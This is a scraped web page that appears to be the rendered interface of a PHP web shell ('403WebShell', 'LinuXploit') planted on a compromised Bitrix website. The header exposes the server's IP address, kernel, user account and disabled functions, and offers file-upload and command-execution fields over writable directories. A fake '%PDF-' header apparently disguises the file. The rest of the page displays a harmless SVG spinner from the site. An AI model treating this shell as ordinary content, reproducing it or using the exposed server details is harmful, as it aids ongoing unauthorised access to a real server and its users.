%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.20.52
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/buttons/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/buttons/images/ui-loader-wait-white.svg
<svg width="21px" height="21px" viewBox="0 0 21 21" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <style>
        .loader {
            -moz-transform-origin: 50%;
            transform-origin: 50%;
            animation: loader 1s infinite steps(12);
        }

        @keyframes loader {
            100%{ transform: rotate(360deg); }
        }
    </style>
    <g width="21" height="21" x="0" y="0" fill="#fff" class="loader">
        <path d="M6.43449953,8.074594 L6.43449953,8.074594 C6.13556114,8.58186178 5.47632706,8.75237795 4.96905928,8.45343956 L2.51048718,7.00440881 C2.00393286,6.70547042 1.83341669,6.04552289 2.13235509,5.53825511 C2.43129348,5.03170079 3.09052755,4.86118462 3.59708188,5.16012301 L6.05636743,6.60915375 C6.56292175,6.90809215 6.73343793,7.56803968 6.43449953,8.074594"      opacity="0.1"/>
        <path d="M8.10876858,6.41466543 L8.10876858,6.41466543 C7.59936043,6.70932309 6.94083981,6.53381272 6.64689562,6.02369111 L5.21855512,3.55299025 C4.92389747,3.0435821 5.09940784,2.38577494 5.60952944,2.09111728 C6.11893759,1.79645963 6.77674475,1.97197 7.07140241,2.4820916 L8.4997429,4.95279247 C8.79440056,5.46220062 8.61817673,6.12000778 8.10876858,6.41466543"      opacity="0.2"/>
        <path d="M10.4295722,5.79210304 L10.4295722,5.79210304 C9.84097032,5.79210304 9.35938699,5.3105197 9.35938699,4.72191785 L9.35938699,1.86809069 C9.35938699,1.27948884 9.84097032,0.797905505 10.4295722,0.797905505 C11.018174,0.797905505 11.4997574,1.27948884 11.4997574,1.86809069 L11.4997574,4.72191785 C11.4997574,5.3105197 11.018174,5.79210304 10.4295722,5.79210304" opacity="0.3"/>
        <path d="M15.3206752,2.13214105 L15.3206752,2.13214105 C15.827943,2.43107944 15.9977457,3.09031352 15.6988073,3.5975813 L14.2497766,6.05615339 C13.9508382,6.56270772 13.2916041,6.73322389 12.7843363,6.43428549 C12.2770685,6.1353471 12.1072658,5.47611302 12.4062042,4.9695587 L13.855235,2.51027315 C14.1541733,2.00371883 14.8134074,1.83320265 15.3206752,2.13214105"     opacity="0.4"/>
        <path d="M18.7680984,5.60924406 L18.7680984,5.60924406 C19.0627561,6.11865221 18.8872457,6.77717283 18.3771241,7.07111702 L15.9064232,8.49945752 C15.3970151,8.79411517 14.7392079,8.6186048 14.4438368,8.1084832 C14.1498926,7.59907505 14.325403,6.94126789 14.8355246,6.64661023 L17.3062254,5.21826974 C17.8156336,4.92361209 18.4734408,5.09983591 18.7680984,5.60924406"   opacity="0.5"/>
        <path d="M20.0612388,10.4295722 L20.0612388,10.4295722 C20.0612388,11.018174 19.5796555,11.4997574 18.9910537,11.4997574 L16.1372265,11.4997574 C15.5486246,11.4997574 15.0670413,11.018174 15.0670413,10.4295722 C15.0670413,9.84097032 15.5486246,9.35938699 16.1372265,9.35938699 L18.9910537,9.35938699 C19.5796555,9.35938699 20.0612388,9.84097032 20.0612388,10.4295722"  opacity="0.6"/>
        <path d="M18.7270033,15.3206752 L18.7270033,15.3206752 C18.4280649,15.8272295 17.7688308,15.9977457 17.2615631,15.6988073 L14.802991,14.2497766 C14.2957232,13.9508382 14.1259205,13.2916041 14.4248589,12.7843363 C14.7237972,12.2770685 15.3830313,12.1072658 15.8895856,12.4062042 L18.3488712,13.855235 C18.856139,14.1541733 19.0259417,14.8134074 18.7270033,15.3206752"   opacity="0.7"/>
        <path d="M15.2496149,18.7680984 L15.2496149,18.7680984 C14.7402068,19.0627561 14.0823996,18.8872457 13.7877419,18.3771241 L12.3594014,15.9064232 C12.0647438,15.3970151 12.2409676,14.7392079 12.7503758,14.4445503 C13.2597839,14.1498926 13.9183045,14.325403 14.2129622,14.8355246 L15.6405892,17.3062254 C15.9352469,17.8156336 15.7597365,18.4734408 15.2496149,18.7680984" opacity="0.8"/>
        <path d="M10.4295722,20.0612388 L10.4295722,20.0612388 C9.84097032,20.0612388 9.35938699,19.5796555 9.35938699,18.9910537 L9.35938699,16.1372265 C9.35938699,15.5486246 9.84097032,15.0670413 10.4295722,15.0670413 C11.018174,15.0670413 11.4997574,15.5486246 11.4997574,16.1372265 L11.4997574,18.9910537 C11.4997574,19.5796555 11.018174,20.0612388 10.4295722,20.0612388"  opacity="0.9"/>
        <path d="M8.074594,14.4246448 L8.074594,14.4246448 C8.58186178,14.7235832 8.75237795,15.3828173 8.45343956,15.8900851 L7.00440881,18.3486572 C6.70547042,18.8552115 6.04552289,19.0257277 5.53825511,18.7267893 C5.03170079,18.4278509 4.86118462,17.7686168 5.16012301,17.2620625 L6.60915375,14.8027769 C6.90809215,14.2962226 7.56803968,14.1257064 8.074594,14.4246448"      opacity="0.95"/>
        <path d="M5.79210304,10.4295722 L5.79210304,10.4295722 C5.79210304,11.018174 5.3105197,11.4997574 4.72191785,11.4997574 L1.86809069,11.4997574 C1.27948884,11.4997574 0.797905505,11.018174 0.797905505,10.4295722 C0.797905505,9.84097032 1.27948884,9.35938699 1.86809069,9.35938699 L4.72191785,9.35938699 C5.3105197,9.35938699 5.79210304,9.84097032 5.79210304,10.4295722" />
        <path d="M6.41466543,12.7503758 L6.41466543,12.7503758 C6.70932309,13.2597839 6.53381272,13.9175911 6.02369111,14.2122487 L3.55299025,15.6405892 C3.0435821,15.9352469 2.38577494,15.7590231 2.09040383,15.2496149 C1.79645963,14.7402068 1.97197,14.0823996 2.4820916,13.7877419 L4.95279247,12.3594014 C5.46220062,12.0647438 6.12000778,12.2409676 6.41466543,12.7503758"     />
    </g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit